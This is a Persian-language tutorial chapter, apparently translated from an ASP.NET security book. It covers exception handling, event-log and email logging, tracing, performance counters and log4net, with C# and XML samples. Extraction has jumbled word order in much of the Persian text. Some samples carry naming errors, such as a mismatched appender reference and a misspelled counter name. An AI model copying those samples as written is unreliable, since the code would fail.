مراتب مدیریتی توان بر اساس یک سلسله، خطاها را میASP.NETهای وب کاربردی فرم یدر یک برنامه

 :توان مدیریت کردخاص مدیریت کرد. یک استثنا را در سه سطح زیر می

 سطح برنامه 

 سطح صفحه 

 سطح کد 

 Exceptionکند، اغلب اطلاعات اضافی در مورد استثنا که از کلاس وقتی یک برنامه استثناها را مدیریت می

. علاوه بر سطوع برنامه، صفحه و کد، شما شوددریافت شده و به کاربر نشان داده می،به ارث رفته است

 مدیریت کنید. IISسفارشی  handlerو با استفاده از یک  HTTPی پیمانهتوانید استثناها را در سطح می

 در سطح کدمدیریت استثنا  1-۲-8

که هر کدام یک آید می catchاست که به دنبال آن یک یا چند عبارت  tryشامل یک بلوک  try-catchدستور 

( به دنبال CLRزمان اجرا ) ه برای استثناهای متفاوت هستند. هنگام ایجاد یک خطا، زبان مشترکدکنناداره

ی که هم اکنون در حال اجراست یک تابعکند. اگر گردد که این استثنا را مدیریت میای میcatchدستور 

کند و این کار را به جاری را فراخوانی کرده است نگاه می تابعی که تابعبه  CLRنداشته باشد،  catchبلوک 

یک پیام استثنای  CLRای یافت نشد، آنگاه cacthاگر هیچ بلوک  دهد.سمت بالای پشته فراخوانی ادامه می

 کند.دهد و اجرای برنامه را متوقف میشده به کاربر نمایش میمدیریت

 دهد.برای مدیریت خطاها را نشان می try/catch/finallyکد زیر یک روش رایج از استفاده از 

try 

{ 

    file.ReadBlock(buffer, index, buffer.Length); 

} 

catch (FileNotFoundException e) 

{ 

    Server.Transfer("NoFileErrorPage.aspx", true); 

} 

catch (System.IO.IOException e) 

{ 

    Server.Transfer("IOErrorPage.aspx", true); 

} 

 

finally 

{ 

    if (file != null) 
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    { 

        file.Close(); 

    } 

} 

شامل کدی است که باید در مقابل یک استثنای محتمل محافظت شود. این بلوک اجرا  tryدر کد فوق، بلوک 

که یک استثنا ایجاد شود یا بلوک با موفقیت کامل شود. اگر یک استثنای شود تا زمانیمی

FileNotFoundException  یا یک استثنایIOException ل خواهد دیگری منتق یرا به صفحهرخ دهد، اج

 قرار گرفته است اجرا خواهد شد، چه استثنا رخ بدهد چه رخ ندهد. finallyشد. سپس کدی که در بلوک 

 مدیریت استثنا در سطح صفحه ۲-۲-8

در کد خود مدیریت کنید، چون یک  try/catchهای اگر ممکن است شما باید خطاها را با استفاده از بلوک

تواند به حل یک مشکل کمک کند، شود. اگر کاربر میاصلاح می ترافتد سادهمشکل در جایی که اتفاق می

 چه باید بکند را دارد. کهاینبایست به همان جایی برگردد که کاربر زمینه لازم برای درک صفحه می

های گرداند ولی دیگر چیزی روی صفحه نیست چون نمونهیک مدیر سطح صفحه شما را به صفحه برمی

 روی صفحه بنویسید. آن رااطلاعات به کاربر شما باید ارایه برای  /نداشدهها ساخته نکنترل

شما احتمالاً از یک مدیر خطای سطح صفحه برای ثبت خطاهای مدیریت نشده یا بردن کاربر به یک صفحه 

 تواند اطلاعات مفیدی نشان دهد، استفاده خواهید کرد.که می

دهد. این را نشان می ASP.NETوب  یدر یک صفحه Errorبرای رویداد  handlerکد زیر یک  ینمونه

 اند.مدیریت نشده در صفحه try/catchهای کند که قبلاً توسط بلوکرا دریافت می کننده تمام استثناهاییاداره

 Server شیاز  ClearError تابعکنید، شما باید با استفاده از شما یک خطا را مدیریت می کهاینبعد از 

 پاک کنید. آن را( HttpServerUtility)کلاس 

است که در جای  Errorای از مدیریت خطاها در یک کلاس صفحه با استفاده از یک کلاس مثال زیر نمونه

 عملکرد ثبت تعریف شده است:ارایه دیگری از پروژه برای 

public partial class MyPage : System.Web.UI.Page { .... 

    protected void Page_Error(object sender, EventArgs e)  

    {  

        // Log Errors. 

        Exception ex = Server.GetLastError(); 

        Error.Log(ex); 

        Server.ClearError(); 

    } 

}  
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 برنامهمدیریت استثنا در سطح  3-۲-8

شود و در سطح برنامه در فایل نشود، آنگاه به سطح برنامه منتشر می اگر یک استثنا در سطح صفحه مدیریت

global.asax  یک رویدادApplication_Error شود.وجود دارد که استثنا در آن مدیریت می 

 های مدیریت استثنا در سطح پروژه باشد.تواند یک مکان متمرکز برای مدیریت تمام نیازمندیاین می

void Application_Error(object sender, EventArgs e)    

{    

     // Code that runs when an unhandled error occurs    

    Exception Ex =Server.GetLastError();    

    Server.ClearError();    

    Server.Transfer("Error.aspx");    

}   

ها است، فقط خطاهایی که در زمان پردازش درخواستتعریف شده  Global.asaxیک مدیر خطا که در فایل 

را  aspx.گیرد اگر یک کاربر یک فایل گیرد. مثلاً یک خطا را میدهند را میرخ می ASP.NETتوسط 

را درخواست  htm.شما وجود ندارد. با این حال اگر کاربر یک فایل ناموجود  یدرخواست کند که در برنامه

 IISتوانید یک مدیر سفارشی در شما می ASP.NETد. برای خطاهای غیر از شوکند، خطایی دریافت نمی

 شود.ایجاد کنید. این مدیر سفارشی هم برای خطاهای سطح کارگزار فراخوانی نمی

به خروجی بفرستید. شما باید  Global.asaxها از فایل توانید اطلاعات خطا را برای درخواستشما نمی

فرم وب است، منتقل کنید. هنگام انتقال کنترل به  یه عموما یک صفحهکنترل را به صفحه دیگری ک

توانید که شما میکند به طوریجاری را حفظ میی زمینهاستفاده کنید. این  Transfer تابعدیگر، از  یصفحه

 دریافت کنید. GetLastError تابعاطلاعات خطا را از 

آن ( HttpServerUtility)کلاس  Server شیاز  ClearError تابعبعد از مدیریت خطا، شما باید با استفاده از 

 پاک کنید. را

 ثبت خطاها و نظارت بر برنامه 3-8

. 1سازی کنید: ثبتپیادهدانید چگونه خطاها را دریافت کنید، باید یک استراتژی مدیریت خطا را حال که می

سازد که محل بروز مشکلات بالقوه را در برنامه ثبت خطا تنها یک استراتژی امنیتی نیست و شما را قادر می
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را کشف کنید. ثبت برای موارد مثبت نیز باید استفاده شود مثلا برای ثبت احراز هویت موفق، دسترسی به 

های مختلفی روش کند.شما فراهم می ای را برای برنامهمنابع محافظت شد و غیره. ثبت مثبت نظارت ساده

مدیر های خود را از طریق بزرگ دارید و برنامه یبرای ثبت خطاها وجود دارد. مثلاً اگر شما یک مرکز داده

کنید. برای یک کارگزار ثبت می 2WMIشما خطاها را با استفاده از  کنید،نظارت می 1عملیات مایکروسافت

افزاری داشته باشید که بر ثبت وقایع ویندوز نظارت کند. اگر شما در یک منفرد، شما ممکن است که نرم

یا ارسال یک ایمیل به یک  دادهپایگاههای شما ممکن است به ثبت در یک محیط میزبانی شده باشید، گزینه

 حساب نظارت شما محدود شود.

فرستید باید به وضوع مشکل ی آن میهایی که براای که انتخاب کنید، باید بر آن نظارت شود و پیامهر گزینه

شود ممکن است نیازی به را بیان کند. یک پیام ایمیل که به یک حساب ایمیل نظارت شده ارسال می

جزییات کامل یک پیام خطا نداشته باشد، ولی ممکن است به یک آدرس قفل شده برای کاربر مدیر اشاره 

 توانید برای تکرار خطا استفاده کنید، نمایش دهد.پای پشته و اطلاعات دیگر که شما می کند که رد

یک کاربر یا کد  ی عبورکلمه: خیلی مهم است که تحت هیچ شرایطی شما اطلاعات حساس نظیر هشدار

 اعتبارسنجی کارت اعتباری را ثبت نکنید. همیشه فرض کنید که ثبت شما خودش هم ممکن است افشا شود.

 3ویندوز رویداداستفاده از ثبت  1-3-8

ویندوز است و چارچوب  یترین چارچوب ثبت موجود برای یک برنامهویندوز احتمالاً رایج رویدادثبت 

کند. برای فراهم می EventLogویندوز در فضای نام  رویدادهای خاصی را برای کار با ثبت کلاس نتدات

شود. یک ورودی نیاز به یاستفاده م EventLog.WriteEntryاز ویندوز، رویداد نوشتن یک رویداد در ثبت 

خاص برنامه برای رویداد و یک نوع رویداد )مثلاً، هشدار، خطا یا بحرانی(  ییک منبع رویداد، یک شماره

 نویسد:دارد. کد زیر یک رویداد خطا را در ثبت وقایع ویندوز می

EventLog.WriteEntry("MyWebApplication",  

    "Something bad happened", EventLogEntryType.Error, 101);  
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شوید. منابع رویداد گونه که هست اجرا کنید با یک استثنا مواجه میبا این وجود اگر شما این کد را همین 

برای  و باید قبل از آنکه استفاده شوند، ایجاد گردند. قابلیت ایجاد یک منبع رویداد به کاربران مدیریتی

بالا دارد، محدود است. کد زیر یک منبع رویداد در  UACکه دسترسی  و ویستا به یک برنامه 2008ویندوز 

 کند: ثبت رویداد برنامه ویندوز ایجاد می

EventLog.CreateEventSource("MyWebApplication", "Application") ; 

شوند. ایجاد یک منبع رویداد نیاز به دسترسی : معمولاً منابع رویداد در هنگام نصب یک برنامه ایجاد مینکته

شما ممکن است بخواهید کننده ندارند، نصبعموماً  ASP.NETهای مدیریتی دارد. با این حال چون برنامه

ما باید توانایی ورود که دسکتاپ خط فرمان ایجاد کنید که منابع رویداد شما را بسازند. ش ییک برنامه

خط فرمان را به عنوان یک مدیر اجرا کنید. وقتی که منبع برنامه شما ایجاد  یکارگزار را داشته باشید و برنامه

  تواند در ثبت رویداد بنویسد.یک حساب با حداقل امتیاز می شد،

توانید هر اسمبلی یا لایه منطقی(، شما میاگر شما چندین منبع رویداد دارید )مثلاً، یک منبع رویداد برای 

یک ثبت رویداد سفارشی ایجاد کنید که رویدادهای شما را با مشخص کردن نام ثبت وقتی که منبع را ایجاد 

 گونه که اینجا نشان داده شده است:کنید، در بر بگیرد، آنمی

EventLog.CreateEventSource("FrontEnd", "APA"); 

EventLog.CreateEventSource("BackEnd", "APA");  

. کدی BackEndو  FrontEndکند که دو منبع دارد: ایجاد می APAاین کد یک ثبت رویداد سفارشی به نام 

رود قدری متفاوت است. شما ابتدا باید یک نمونه از ثبت که برای ثبت در ثبت رویداد سفارشی به کار می

 گونه که اینجا نشان داده شده است: رویداد و منبع سفارشی بازیابی کنید، آن

EventLog customLog =   new EventLog("WroxApp", ".", "FrontEnd"); 

customLog.WriteEntry("Something bad happened",     

EventLogEntryType.Error, 101);  

 استفاده از ایمیل برای ثبت رویدادها ۲-3-8

ها به یک حساب نظارت شده است. اگر شما یرفوری و ثبتیک روش رایج برای ثبت، ارسال هشدارهای غ

ها ممکن است با تاخیر همراه باشند و تحویل این روش را انتخاب کنید، باید به خاطر داشته باشید که ایمیل

تضمین شده نیست. یک جعبه دریافت که توسط رویدادها پر شده است ممکن است باعث ناامیدی  هاآن

نت شامل دو فضای نام برای ایمیل پوشی کند. چارچوب داتها چشمرنده از پیامشود و باعث شود که گی

 . System.Net.Mailو  System.Web.Mailاست: 
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System.Net.Mail  از احراز هویت، اتصالاتSSL شما جزییات کندپشتیبانی می 1و عملیات ناهمگام .

 زیر را ببینید: کنید. مثالمشخص می web.configکارگزار ایمیل را در فایل 

<system.net>   

   <mailSettings >  

      <smtp from="webapplication@domain.example" >  

         <network  

             userName="mailUsername"            

             password="mailPassword"            

             host="mailServer.domain.example" / >  

      </smtp>  

   </mailSettings>  

</system.net >    

خواهید بفرستید ایجاد کرده، جزییات پیامی که می Messageبرای ارسال یک پیام، شما یک نمونه از کلاس 

 ل کنید. مثال زیر را ببینید:ارسا SmtpClientرا به یک نمونه از کلاس  هاآنبسازید و سپس 

System.Net.Mail.MailMessage message = 

     new System.Net.Mail.MailMessage( 

         "from@webapplication.domain", 

         "webMonitor@company.example"); 

message.Subject = "Unhanded exception in "+Context.Request.Path; 

message.Body = Server.GetLastError().ToString(); message.Priority = 

System.Net.Mail.MailPriority.High;     

System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient(); 

smtp.UseDefaultCredentials = true; smtp.Send(message);  

که برای خواهید برنامه شما مادامیشود چرا که شما نمیمگام پیشنهاد میبا این وجود، استفاده از ارسال ناه

برای ارسال  ، منتظر بماند.دریافت پاس  از یک کارگزار ایمیل منتظر که ممکن است در حال اجرا نباشد

 را تنظیم کنید: Pageدر توصیف  Asyncویژگی ایمیل به صورت ناهمگام شما باید 

<%@ Page Async="true" ... %>    

توانید اطلاعات را به اضافه کنید. شما می SmtpClient شیبه  SendCompleteسپس شما باید یک رویداد 

بفرستید )مثلا یک رونوشت از خود پیام ایمیل تا  SendAsyncاز پیام  userStateرویداد با استفاده از پارامتر 

 ای از چگونگی ارسال یک ایمیل ناهمگام است:. کد زیر نمونهدر صورت شکست رویداد، ثبت شود(

using System;  

using System.Collections.Generic;  

using System.ComponentModel; 

using System.Net.Mail;  

using System.Web; 

                                                   

 

 

1 Asymchronous 
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public partial class _Default : System.Web.UI.Page  

{  

    ....  

    protected void Page_Error(object sender, EventArgs e)  

    { 

        MailMessage mail = new MailMessage();  

        // Create the message  

        mail.From = new MailAddress("webError@wrox.example");  

        mail.To.Add("monitor@wrox.example");  

        mail.Subject =  

            "Unhanded exception in "+Context.Request.Path;  

        mail.Body = Server.GetLastError().ToString();  

        SmtpClient smtp = new SmtpClient();  

        object userState = mail;     

        //wire up the Asynce event for the send is completed  

        smtp.SendCompleted +=  

            new SendCompletedEventHandler(  

                    smtp_SendCompleted);  

        smtp.SendAsync(mail, userState);  

    } 

    void smtp_SendCompleted(object sender, AsyncCompletedEventArgs e)     

{ 

        //Get the Original MailMessage object 

        MailMessage mail = (MailMessage)e.UserState; 

 

        if (e.Error != null)  

        { 

            LogErrorElsewhere(  

               "Error {1} occurred when sending mail [{0}] ",  

               mail.Subject,  

               e.Error.ToString());  

        } 

    } 

}   

افتد اگر ارسال ایمیل با شکست مواجه شود. شما باید نهایتاً، شما باید در نظر بگیرید که چه چیزی اتفاق می

 که ارسال نشده است.یک مکانیزم ثبت دیگر فراهم کنید، هم برای محتوای ایمیل و هم این حقیقت 

 ASP.NETاستفاده از ردیابي  3-3-8

است که یک سیستم برای نمایش اطلاعات  ASP.NETیک امکان مفید برای رفع اشکال امکان ردیابی 

توان روی کند. اطلاعات ردیابی را میرویدادهای صفحه، زمانبندی و اطلاعات جزییات صفحه فراهم می

اهنمای صفحه فعال کرد. وقتی این تنظیم شده باشد، اطلاعات در ر ”Trace=”trueیک صفحه با تنظیم 

 شود. نشان داده شده است، به صفحه الحاق می 3-8شکل  گونه که درردیابی آن
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 ASP.NET ی:خروجي ردیابي صفحه3-8شکل 

در کد  Trace.Warnو  Trace.Wruteهای ردیابی خود را به خروجی ردیابی با استفاده از توانید پیامشما می

یابی در طول سنجی عملیات طولانی یا برای ثبت اطلاعات عیبتواند برای زمانخود اضافه کنید. این کار می

 فید باشد.فرایند تولید، م

، بخواهید اطلاعات ردیابی شما در صفحه تعبیه شود. آزمونرسد که شما، حتی برای مقاصد به نظر نمیالبته 

خاص  handler( استفاده کنید. این صفحه یک trace.axdخاص ) URLتوانید از یک در عوض شما می

HTTP سازی کند. برای فعالا فراهم میهای از درخواستبرای مجموعه است که لیستی از اطلاعات ردیابی

و پیکربندی این امکان شما باید پیکربندی عنصر ردیابی، آنگونه که در زیر نشان داده شده است، را به 

web.config :اضافه کنید 

<system.web>  

    ....  

     <trace  

        enabled = "true"  

        localOnly = "true"  

        pageOutput = "false"  

        traceMode = "SortByTime"  

        requestLimit = "25"  

        mostRecent = "true" / >  
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    .... 

</system.web> 

دهد و به شما این امکان را ها را نمایش میلیستی از درخواست trace.axdوقتی که فعال شود، بارگذاری  

 دهد که جزییات هر درخواست را ببینید.می

قرار ندهید. بسیاری از اسکنرهای  falseرا در کارگزار عملیاتی برابر  localOnlyگاه صفت : هیچهشدار

 یتواند اطلاعات زیادی درباره برنامهگردند که میمی trace.axdفعال  یپذیری به دنبال یک صفحهآسیب

 های داخلی کارگزار شما بدهد.شما و پیکربندی

 های کارایياستفاده از شمارنده 4-3-8

است. ویندوز،  1ناظر کارایيیک روش استاندارد ویدوز برای نظارت بر برنامه و کارایی عملکرد 

ASP.NET توانید برای نظارت بر ها هستند که شما میشمارنده بزرگ ازای ها با مجموعهو دیگر برنامه

 دهد:نشان می 2003های آن به کار ببرید. شکل زیر ناظر کارایی را در حال اجرا در ویندوز کامپیوتر و برنامه

 

 ۲003: ناظر کارایي تحت ویندوز 4-8شکل 

                                                   

 

 

1 Performance Monitor 
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را در کد برنامه تنظیم کنید.  هاآنهای کارایی برای برنامه خود ایجاد کنید و مقادیر هتوانید شمارندشما می

ها اضافه کنید. دو های شمارنده کارایی خود را قبل از افزودن شمارندهشما باید ردهمانند رویدادهای ویندوز،

ودهای ناموفق( و نسبی در یک های کارایی، مقادیر مطلق )مثلاً تعداد ورترین انواع شمارندهنوع از رایج

 ها در ثانیه( هستند.زمانی )مثلاً درخواست یبازه

های کارایی در یک محیط تولید فراهم های شمارندهویژوال استودیو یک روش ساده برای افزودن رده

ها خواهید روی آن شمارندهرا در ویژوال استودیو باز کنید. ماشینی را که می Server Explorerکند. ابتدا می

جدید را  یکلیک راست کنید و ایجاد رده Performance Countersرا ایجاد کنید باز کنید و روی درخت 

. شودحداقل یک شمارنده برای افزودن به رده پرسیده می و انتخاب کنید. از شما یک نام رده، یک شرح

توانید ها را ایجاد کنند. شما میهای کارایی و ردهتوانند شمارندهمانند رویدادهای ویندوز فقط مدیران می

 ها را با استفاده از کد برنامه هم ایجاد کنید که در مثال زیر نشان داده شده است:ها و شمارندهرده

string counterCategory = "SecuringASPNet"; 

   if (!PerformanceCounterCategory.Exists(counterCategory)) { 

    PerformanceCounterCategory.Create(counterCategory, 

        "My category description/Help", 

        PerformanceCounterCategoryType.SingleInstance, 

        "CounterName",  

        "Counter Description/Help"); 

}  

موجود از طریق کد  ینده به یک ردهرامکان افزودن یک شماهای کارایی این است که یک اشکال شمارنده

برنامه وجود ندارد. برای ایجاد چندین شمارنده، هنگام ایجاد رده، شما باید یک 

CounterCreationDataCollection توانید نوع هر شمارنده را بسازید. با استفاده از این مجموعه شما می

 دهد:مشخص کنید. امکانی که روش ایجاد ساده به شما نمی

string counterCategory = "SecuringASPNet"; 

if (!PerformanceCounterCategory.Exists(counterCategory))  

{  

    CounterCreationDataCollection counterCreationDataCollection =  

        new CounterCreationDataCollection(); 

    counterCreationDataCollection.Add(  

        new CounterCreationData("BadGuysFound",  

            "Total number of bad guys detected", 

            PerformanceCounterType.NumberOfItems32) 

        ); 

    counterCreationDataCollection.Add( 

        new CounterCreationData("BadGuysFoundPerSecond",  

            "How many bad guys have been detected",  

            PerformanceCounterType.RateOfCountsPerSecond32) 

        ); 

    

    PerformanceCounterCategory.Create(counterCategory, 
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        "My category description/Help",  

        PerformanceCounterCategoryType.SingleInstance,  

        counterCreationDataCollection); 

}  

کننده را نصب ید یک مولفهتوانیاگر شما در حال نوشتن یک نصب کننده برای برنامه خود هستید، شما می

نت استفاده کنید در چارچوب دات InstallUtilمشتق کنید و سپس یا از  PerformanceCounterInstallerاز 

 ( استفاده کنید.MSI) 1کننده مایکروسافتنصب ییا از آن به عنوان یک عمل سفارشی در بسته

[RunInstaller(true)] public class CountersInstaller : 

PerformanceCounterInstaller {  

public CountersInstaller()  

{ 

    this.CategoryName = "SecuringASPNet";  

    Counters.Add(  

        new CounterCreationData("BadGuysFound",  

            "Total number of bad guys detected", 

            PerformanceCounterType.NumberOfItems32) 

        ); 

    Counters.Add(  

        new CounterCreationData("BadGuysFoundPerSecond",  

            "How many bad guys have been detected", 

            PerformanceCounterType.RateOfCountsPerSecond32) 

        ); 

}  

رسی به یک شمارنده، شما تبین چگونگی استفاده از هر نوع شمارنده وجود دارد. برای دس تفاوت کوچکی

بسازید و نام رده و شمارنده را به آن رد کنید. یک شمارنده  PerformanceCounterباید یک نمونه از کلاس 

هایی که شامل . شمارندهتوان به یک مقدار خاص تنظیم کردمیدر مثال زیر( را  badGuysFoundمطلق )مثل 

 .توان افزایش یا کاهش داددر مثلا زیر( را فقط می badGuysFoundPerSecondشوند )مثل زمان می

PerformanceCounter badGuysFound =  

    new PerformanceCounter("SecuringASPNet",  

    "BadGuysFound",  

    false);     

PerformanceCounter badGuysFoundPerSecond =  

    new PerformanceCounter("SecuringASPNet",  

    "BadGuysFoundPerSecound",  

    false); 

badGuysFound.Increment();  

badGuysFoundPerSecond.IncrementBy(1);  

                                                   

 

 

1 Microsoft Installer Package 
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ای یا نمونهتوانید مشخص کنید که این رده تکشما میکنید، وقتی شما یک رده شمارنده ایجاد می

ای، وقتی شما یک شمارنده را برای مشاهده در ناظر کارایی های چندنمونهای باشد. برای ردهچندنمونه

هایی استفاده توانید یک نمونه از شمارنده را انتخاب کنید. وقتی از چنین شمارندهکنید، شما میانتخاب می

 باید یک نام نمونه هم مشخص کنید که در مثال زیر نشان داده شده است: کنید، شمامی

PerformanceCounter badGuysFoundPerSecond =  

  new PerformanceCounter(“SecuringASPNet”,  

      “BadGuysFoundPerSecound”,  

      “My Instance Name”,  

      false); 

 های ثبتاستفاده از چارچوب 5-3-8

نیاز به  هاآنهای کارایی برای همه قابل استفاده نیستند چون برای پیکربندی ت رویداد و شمارندهثب

است. چندین کتابخانه برای  دادهپایگاههای مدیریتی است. یک روش رایج دیگر ثبت رویدادها در دسترسی

 2بت کتابخانه سازمانی، بلوک برنامه ثASP.NET 1این کار وجود دارد از جمله چارچوب نظارت بر سلامت

ای از اهداف )شامل ثبت رویدادهای ویندوز، های ثبت مجموعهعموماً چارچوب. log4netمایکروسافت و 

نویس امکان ایجاد به برنامه چنینهمدهند. میارایه های داده( را به عنوان خروجی ها و پایگاهها، ایمیلفایل

شما  موردنیازپذیری چارچوب آماده ممکن است انعطافدهند. یک اهداف جدید را در صورت لزوم می

  برای ثبت در یک محیط محدود را فراهم کند.

را از  log4netتوانید کند. شما میاستفاده می log4netها یعنی ترین چارچوبهای زیر از یکی از رایجمثال

 دریافت کنید. net/4http://logging.apache.org/logآدرس 

نصب را دریافت و از حالت فشرده خارج کنید. یک ارجاع به اسمبلی  یبسته log4netبرای استفاده از 

log4net  به پروژه خود اضافه کنید. گام بعدی ایجاد یک فایل پیکربندی برایlog4net  است که تعریف

ای را به گونه log4netبرای این مثال به منظور سادگی  چگونه ثبت شود.کند چه چیزی ثبت شود و می

کنیم که از یک فایل متنی استفاده کند. در یک سناریوی واقعی، فایل ثبت خارج از پوشه برنامه پیکربندی می

شود. یا به صورت جایگزین یک مقصد وب شما ذخیره خواهد شد و دسترسی به آن به شدت کنترل می

                                                   

 

 

1 Health Monitoring Framework 

2 Enterprise Library Logging Application Block 

http://logging.apache.org/log4net/
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شود که دسترسی به آن هم به شدت ( به کار گرفته میSql Server دادهپایگاهرای ثبت )نظیر یک دیگر ب

 شود.کنترل می

 ایجاد کنید و کد زیر را در آن وارد کنید: log4net.configخود به نام  ییک فایل متنی جدید به پروژه

<?xml version="1.0" encoding="utf-8" ?>  

 <log4net >   

   <root>  

     <level value="DEBUG" />   

     <appender-ref ref="FileAppender" />  

   </root>  

   <appender name="FileAppender"  

        type="log4net.Appender.FileAppender">   

     <file value="log4net.log" />  

     <appendToFile value="true" /> 

     <layout type="log4net.Layout.PatternLayout">  

       <conversionPattern value= 

           "%date [%thread] %-5level %logger - %message  

           [%exception]%newline" />  

     </layout>  

   </appender>  

 </log4net>       

کند. توجه داشته باشید که یک فایل با ثبت می log4net.logاین پیکربندی همه چیز را در یک فایل به نام 

 گیرد.در اختیار مرورگرها قرار نمی IISتوسط  logپسوند 

هنگام شروع برنامه اضافه کنید. بنابراین یک کلاس برنامه  log4net یاندازی اولیهشما باید کدی برای راه

Global  زیر را به آن اضافه کنید: تابعبه پروژه خود اضافه کنید و 

protected void ConfigureLogging() {  

    string logFile = HttpContext.Current.Request.PhysicalApplicationPath 

+  

                     "log4net.config";  

    if (System.IO.File.Exists(logFile))  

    { 

        log4net.Config.XmlConfigurator.ConfigureAndWatch(  

            new System.IO.FileInfo(logFile));  

    } 

}  

 Application Globalدر کلاس  Application_Start تابعدر  تابعسپس شما باید یک فراخوانی به این 

 اضافه کنید:

protected void Application_Start(object sender, EventArgs e) { 

    // Code that runs when the web application starts. 

    this.ConfigureLogging(); 

}  
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Log4net نمایشی  یهای شما مورد استفاده قرار خواهد گرفت. بنابراین یک صفحهدر صفحات و کلاس

خود باز  یرا در پروژه default.aspxدهد. فایل را نشان می log4netنویسیم که چگونگی استفاده از ثبت می

 با آنیه در زیر آمده است جایگزین کنید: آن راکنید و محتوای 

<%@ Page Language="C#" AutoEventWireup="true" %>   

<%@ Import Namespace="log4net" %>   

<script runat="server"> 

    protected static readonly ILog log =  

        LogManager.GetLogger( 

            

System.Reflection.MethodBase.GetCurrentMethod().DeclaringType); 

    protected void submit_OnClicked(object sender, EventArgs e)  

    {  

        if (!string.IsNullOrEmpty(logText.Text))  

        {  

            log.Debug(logText.Text);  

        } 

    } 

</script>  

<!DOCTYPE html>   

<head runat="server">   

     <title> Simple Logging </title>  

</head>  

<body>  

     <form id="logTest" runat="server" >  

     <div>  

        Log Entry :  <asp:TextBox ID="logText" runat="server" / > 

         <asp:Button ID="submit" Text="Log" runat="server"  

                    OnClick="submit_OnClicked" / >  

     </div>  

     </form>  

</body>  

</html>    

کننده که در شروع ثبتو رد کردن نام کلاس ایجادکننده، یک نمونه از  ()GetLoggerاین صفحه با فراخوانی 

 شود:برنامه پیکربندی شده است. این نام کلاس به سادگی توسط انعکاس کشف می

protected static readonly ILog log =  

    LogManager.GetLogger( 

        System.Reflection.MethodBase.GetCurrentMethod().DeclaringType);  

شوند. این کار با فراخوانی کننده فرستاده میثبتها به پیام آزمون یدر صفحه Log یبا فشار دکمه

log.Debug()  .های ثبت یک تابعبه همراه پیامی که بایت ثبت شود انجام شودoverload ه به هم دارند ک

 گیرند. همراه پیام یک استثنا هم می
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log4net یابی، اطلاعات، هشدار، خطا و مهلک. برای ثبت یک پیام کند: عیبپنج سطح پیام را پشتیبانی می

 تابعکنید. برای ثبت یک پیام سطح هشدار را فراخوانی می ()log.Info تابعدر سطح اطلاعات شما 

log.Warn() کنید.به همین صورت برای بقیه سطوح اقدام می کنید ورا فراخوانی می 

به کار  ها به مقاصد ثبت فرستاده شوند،کدام نوع پیام کهایندر فایل پیکربندی برای کنترل  Thresholdمقدار 

 رود:می

  یک سطح آستانهAll  یاDebug کند.همه نوع پیامی را ثبت می 

  یک سطح آستانهInfo کند.طا و مهلک را ثبت میهای اطلاعات، هشدار، خپیام 

  یک سطح آستانهWarn کند.های هشدار، خطا و مهلک را ثبت میفقط پیام 

توانید خروجی ثبت را بدون نیاز به حذف دستورات ثبت از کدتان با استفاده از سطح آستانه مناسب، شما می

 تنظیم کنید.

رود. مثلاً یک فایل پیکربندی که در کد برای چندین نوع و مقصد ثبت هم به کار می چنینهمفایل پیکربندی 

های مهلک را ایمیل کند و پیامیابی و بالاتر را در یک فایل ثبت میهای عیبزیر نشان داده شده است پیام

 کند:می

<?xml version="1.0" encoding="utf-8" ?>  

 <log4net>  

   <root >  

     <level value="DEBUG" />   

     <appender-ref ref="FileAppender"/>  

     <appender-ref ref="SmtpAppaender" />   

   </root>  

   <appender name="FileAppender" type="log4net.Appender.FileAppender">   

     <file value="log4net.log" />  

     <appendToFile value="true" />  

     <layout type="log4net.Layout.PatternLayout">  

       <conversionPattern value= 

         "%date [%thread] %-5level %logger - %message 

[%exception]%newline"/>  

     </layout>  

   </appender>  

   <appender name="SmtpAppender" type="log4net.Appender.SmtpAppender">  

     <to value="barryd@example.com" />  

     <from value="errorlog@example.com" />  

     <subject value="Logging Message" />  

     <smtpHost value="SMTPServer.domain.com" />  

     <bufferSize value="512" />  

     <lossy value="true" />  

     <evaluator type="log4net.Core.LevelEvaluator">  

       <threshold value="Fatal"/>  

     </evaluator>  
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     <layout type="log4net.Layout.PatternLayout >  

       <conversionPattern value= 

         "%date [%thread] %-5level %logger - %message 

[%exception]%newline" />  

     </layout>  

   </appender>  

 </log4net>      

به صورت سطحی معرفی شد. مقاصد ثبت ممکن شامل  log4netدر این بخش چگونگی استفاده از 

 log4net سایتوبشود. ها و غیره میو فایل ASP.Netهای داده، ثبت رویداد، امکانات ردیابی پایگاه

 دارد. آن یاستفاده یهای بیشتری از نحوهجزییات و مثال

 

 

 


